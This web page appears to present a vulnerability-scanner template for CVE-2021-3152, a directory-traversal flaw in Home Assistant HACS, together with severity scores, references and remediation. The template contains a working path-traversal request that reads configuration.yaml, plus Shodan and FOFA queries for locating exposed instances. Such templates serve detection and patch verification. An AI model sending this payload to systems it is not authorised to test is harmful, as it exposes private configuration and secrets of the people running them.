Home Assistant HACS - Local File Inclusion
CVE-2021-3152
Verified
Description
Home Assistant before 2021.1.3 lacks a protection layer against directory-traversal attacks in custom integrations, letting attackers access arbitrary files, exploit requires attacker to deploy malicious custom integration.
Severity
High
CVSS Score
7.5
Exploit Probability
28%
Affected Product
integration
Published Date
April 22, 2026
Template Author
dhiyaneshdk
CVE-2021-3152.yaml
id: CVE-2021-3152
info:
name: Home Assistant HACS - Local File Inclusion
author: DhiyaneshDk
severity: high
description: |
Home Assistant before 2021.1.3 lacks a protection layer against directory-traversal attacks in custom integrations, letting attackers access arbitrary files, exploit requires attacker to deploy malicious custom integration.
impact: |
Attackers can access sensitive files on the system, potentially leading to information disclosure or further system compromise.
remediation: Update to version 2021.1.3 or later to include protection against directory traversal in custom integrations.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-3152
- https://lyghtnox.gitlab.io/posts/hacs-exploit/
- https://www.home-assistant.io/blog/2021/01/22/security-disclosure/
- https://github.com/hacs/integration/commit/f2b7cb711e41a94b81610f6ff96ea314e9879114
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-3152
epss-score: 0.27878
epss-percentile: 0.96534
cwe-id: CWE-22
metadata:
verified: false
max-request: 1
vendor: hacs
product: integration
shodan-query: title:"Home Assistant"
fofa-query: title="Home Assistant"
tags: cve,cve2021,hacs,homeassistant,lfi
http:
- raw:
- |
GET /hacsfiles/../../configuration.yaml HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "default_config:"
- "homeassistant:"
condition: or
- type: status
status:
- 200
# digest: 4b0a00483046022100a2d08900843d1a3ae97c602b8943a3cc8586fafcbfcf8c1960e2817912e98fc2022100ba4cca4fe8149122ea5391703bd639f794169dba310fab20a4a8629ffdd913b8:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2021-3152
CWE ID:
cwe-22
Remediation Steps
Update to version 2021.1.3 or later to include protection against directory traversal in custom integrations.